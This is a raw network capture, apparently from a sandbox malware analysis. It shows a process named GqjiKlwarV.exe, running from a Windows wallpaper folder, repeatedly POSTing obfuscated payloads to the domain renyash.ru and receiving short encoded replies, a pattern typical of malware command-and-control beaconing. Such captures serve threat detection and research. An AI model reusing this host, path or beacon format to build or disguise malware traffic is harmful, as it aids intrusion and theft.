Jan 1, 2025 15:17:40.202440977 CET	1056	OUT	Data Raw: 51 52 54 50 5f 5f 57 5f 59 5b 5a 5a 52 5a 5b 5c 55 58 5a 5f 57 5d 5b 57 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QRTP__W_Y[ZZRZ[\UXZ_W][W[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$;7$_ Y",(;/Z(&$95V%!2)&?'?<;:9]//_
Jan 1, 2025 15:17:40.300312996 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:40.682260990 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r9JXs720bDKIo1vXLQxakQRXusErkt4%2Fk1RjdvlqFMjnxpPW%2BscOg3B50lDSIrJJGbPMkr6YTW5jDpPJ7JseVMq42AGJCTmZE0CcedSqpMjn9lgSvESLIbXr5aKFjvgoICsrGcGT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3225a9e381780-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3385&min_rtt=1454&rtt_var=4409&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=86344&cwnd=170&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49782	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:40.813543081 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:41.171201944 CET	1056	OUT	Data Raw: 54 5c 54 56 5f 57 57 51 59 5b 5a 5a 52 53 5b 5e 55 5f 5a 58 57 5f 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T\TV_WWQY[ZZRS[^U_ZXW_[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$A/?($) Y6;\)8+')V%'651?#?> -:9]//_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49783	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:41.255465031 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:41.608688116 CET	1328	OUT	Data Raw: 51 52 51 57 5a 5d 52 5b 59 5b 5a 5a 52 53 5b 51 55 5f 5a 5b 57 51 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QRQWZ]R[Y[ZZRS[QU_Z[WQ[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]';7^')+6/^??X?=9W$$</"1Y2?(>$89]//_
Jan 1, 2025 15:17:41.700131893 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:42.003369093 CET	955	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=St%2BnygkPmt3%2Fvr5rLDKEHrAbulxEqceMbUME41ZKA2nkInD0B6dp8MYIU3sVcScQTyxFbScDD7dycK0z3gccDECJwj3sGbcKxMq9oexosy0dkmcxp%2BWp3UEHav47%2BC5ybQHsVrzB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3226359f88c2d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2084&min_rtt=2029&rtt_var=872&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1656&delivery_rate=590376&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2d 0f 21 04 03 58 27 3c 30 5e 3b 01 3d 5b 3f 01 20 5f 29 2c 0f 5e 32 38 3e 57 2a 21 25 1a 23 29 2c 43 3f 05 2a 0c 26 2c 25 1c 25 38 2e 5a 0d 1c 39 17 36 00 0d 1d 26 0c 29 54 30 2b 21 5e 22 3d 07 02 35 05 33 1e 25 2d 22 13 31 39 21 51 2d 2d 3b 5f 2f 13 3d 1d 2c 30 26 5b 33 3f 23 50 0f 1f 23 1c 27 3e 22 05 27 0f 12 5b 21 30 3c 53 35 03 21 11 37 04 20 57 27 5c 3e 5e 30 01 22 1c 27 2f 38 0a 36 3d 35 0a 27 1c 38 09 27 32 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98-!X'<0^;=[? _),^28>W!%#),C?&,%%8.Z96&)T0+!^"=53%-"19!Q--;_/=,0&[3?#P#'>"'[!0<S5!7 W'\>^0"'/86=5'8'2/]!,U>TQ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49784	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:41.382822990 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:41.733715057 CET	1056	OUT	Data Raw: 54 50 51 54 5f 56 57 50 59 5b 5a 5a 52 59 5b 5b 55 5b 5a 56 57 51 5b 5a 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TPQT_VWPY[ZZRY[[U[ZVWQ[Z[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'-<7X&)'"1(<8+[(-*3:&&7U6>&<3(>?^;9]//_ ,
Jan 1, 2025 15:17:41.994807959 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:42.083683014 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LKFdkPQB5rC3l9d2zIq42m2dbyYHWp%2F4l9YzA6T4raMWZtve3VU08UkQa3bbDzFpNFGE21heSIgdwhdhc%2FCkd4Zw%2BxW8Ji6AqqWcF34Ejfw9kJO9OykEfIZLUkUbGgsVNcG0CDoj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322643da3f5fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2813&min_rtt=1560&rtt_var=3092&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=125970&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49785	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:42.203994036 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:17:42.561808109 CET	1056	OUT	Data Raw: 54 53 54 57 5a 5b 57 5d 59 5b 5a 5a 52 5f 5b 5d 55 55 5a 5d 57 5c 5b 58 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TSTWZ[W]Y[ZZR_[]UUZ]W\[X[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]';Y?Y&)+!!,(?Y?="0627W"1&,(=#89]//_ 4
Jan 1, 2025 15:17:42.652288914 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:42.914987087 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c4mG05xMYQ%2F05xrOugjuTnn3gFnLicPPa5dBBzdzoxV0oCGgl%2Bq40szHp0HWgKZfDbv0oC8qG%2Ff0JWIL708bB992XcEWtyDoTproJ%2Fp7965CED2XAgjtwSLSp3fUz0LRVK3EyHi0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32269495a7c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2179&min_rtt=2011&rtt_var=1091&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=434653&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49786	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:43.048835993 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:43.405684948 CET	1056	OUT	Data Raw: 51 56 51 50 5a 58 52 5e 59 5b 5a 5a 52 53 5b 59 55 55 5a 5d 57 5d 5b 5b 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QVQPZXR^Y[ZZRS[YUUZ]W][[[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]',?[$:'6!4(0?%P0:%/#"!&Y&,(^/9]//_
Jan 1, 2025 15:17:43.596534967 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:43.929812908 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ewjAvMDohm%2BYUHeT%2BwT7b76EFOtogcjBx58IQOifDHaflU3wdcRBVSjMCEA%2BgqyPOWhCTsuCidyjE715nDESvtYk%2FikNxHZnziu5KhwZ0zEmWhfbdpX4a9va6ai2zhrelEopu1zT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3226e9fd132ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3528&min_rtt=2010&rtt_var=3789&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=103151&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49787	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:44.048671961 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:44.405519962 CET	1056	OUT	Data Raw: 51 56 54 5e 5a 5c 52 5b 59 5b 5a 5a 52 5e 5b 58 55 59 5a 59 57 50 5b 56 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QVT^Z\R[Y[ZZR^[XUYZYWP[V[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$E/<3^3)"/<+0(.=35R27P5*]&'?>];:9]//_ 0
Jan 1, 2025 15:17:44.491772890 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:44.750833988 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UCqXXoq8Qz0ql0l9MSVszFWxjJq4uYR00w2MiFMb%2F1NKjtGf9JgizqYJnV%2B3qz1JTEzqMJFelR16PqDJkbe5IcdRRjet7kCb1ER6CGniz5QbPwWv%2FgG%2BnuaZtHRA3U8iiVQki1rH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32274cf1bde97-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2169&min_rtt=1484&rtt_var=1928&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=209439&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49788	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:44.877974987 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:45.233817101 CET	1056	OUT	Data Raw: 54 50 54 5f 5f 58 52 5c 59 5b 5a 5a 52 5d 5b 5d 55 5d 5a 58 57 50 5b 56 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TPT__XR\Y[ZZR][]U]ZXWP[V[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$B8/'<]5;\<8#<-T'::2,6211</]>=;-*9]//_ <
Jan 1, 2025 15:17:45.351212978 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:45.607434988 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yUjyrSmbjoxTb5yEsx3XF96nszEnePzd3F8ERb%2Bh7yL12p0WH3bosUenW%2FJZv9kKIu4k6ekVKEI1AZTG6rw2dCGp3lYmiWHK9ZOjuXdiTDYHgjx7vABstSMN3GoUEmYHfuAiQtvt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3227a287441cf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3423&min_rtt=1815&rtt_var=3896&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=99461&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49789	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:45.736311913 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:46.093245983 CET	1056	OUT	Data Raw: 51 51 51 54 5f 56 57 5d 59 5b 5a 5a 52 5a 5b 5a 55 58 5a 56 57 5a 5b 57 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QQQT_VW]Y[ZZRZ[ZUXZVWZ[W[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]',/4'62+Y<;+[=>6'*$?$6!!'/[>./9]//_
Jan 1, 2025 15:17:46.207125902 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:46.384433985 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dc8TsNy10zCblH6ZnvHCaEDmUnRK55NFzviTwN0BxMwL3LTokteU2TdQ26tC%2F4caOGdq1UX4YZPdGSTlmdOdRfRxrMpN9H6tPi9QMWhpcexMoUkIFwKVMMQUd5NwgtaVsPT9gSUS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3227f8c1b0fa3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=15160&min_rtt=10611&rtt_var=13078&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=31059&cwnd=221&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49790	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:46.589613914 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:46.936783075 CET	1056	OUT	Data Raw: 54 5d 51 54 5a 5d 52 5d 59 5b 5a 5a 52 5e 5b 5d 55 5a 5a 5f 57 58 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T]QTZ]R]Y[ZZR^[]UZZ_WX[Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]',,4$+"#]<87Z?%U'R&("""&8>.7/9]//_ 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49791	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:47.021605015 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:47.374305010 CET	1328	OUT	Data Raw: 54 55 54 54 5a 58 57 50 59 5b 5a 5a 52 58 5b 50 55 5d 5a 5c 57 5a 5b 5b 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TUTTZXWPY[ZZRX[PU]Z\WZ[[[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'-,/0:;518(?-='\=%<$!"-%?+Z(,9]//_ (
Jan 1, 2025 15:17:47.474746943 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:47.734958887 CET	952	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rlD376IN9ZT9ipSpvGId9p5V4UsU8cBo4oQJ%2B%2BqQ9wSrkxCE91wvNq0ec1ejPfv%2BIAHVZXBJqFSs2q6O9z2KkbCve1UOYnITpbfTsV9weHiaUwF1OvNhHIeOPBuU%2F%2BvOioiCdIYq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322876bb932e8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3715&min_rtt=1968&rtt_var=4233&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1656&delivery_rate=91536&cwnd=245&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2d 0f 36 04 25 59 33 3f 27 00 38 06 2d 1e 28 16 28 5b 3d 12 29 14 25 5e 3e 50 3e 31 26 0a 36 07 30 45 28 05 3e 0e 25 12 25 1e 31 02 2e 5a 0d 1c 39 17 35 3d 2c 0a 24 22 3e 0f 27 38 31 5d 23 13 03 01 36 3b 30 00 26 03 04 59 25 2a 25 55 2e 07 3b 5f 3b 3e 3a 42 3b 30 26 5e 27 2f 23 50 0f 1f 23 1c 26 3e 31 59 30 21 15 03 36 33 28 1e 22 3a 07 1e 34 14 20 51 33 03 2e 1d 33 28 22 55 32 3c 2c 0e 21 07 21 0f 33 0b 24 08 30 22 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a Data Ascii: 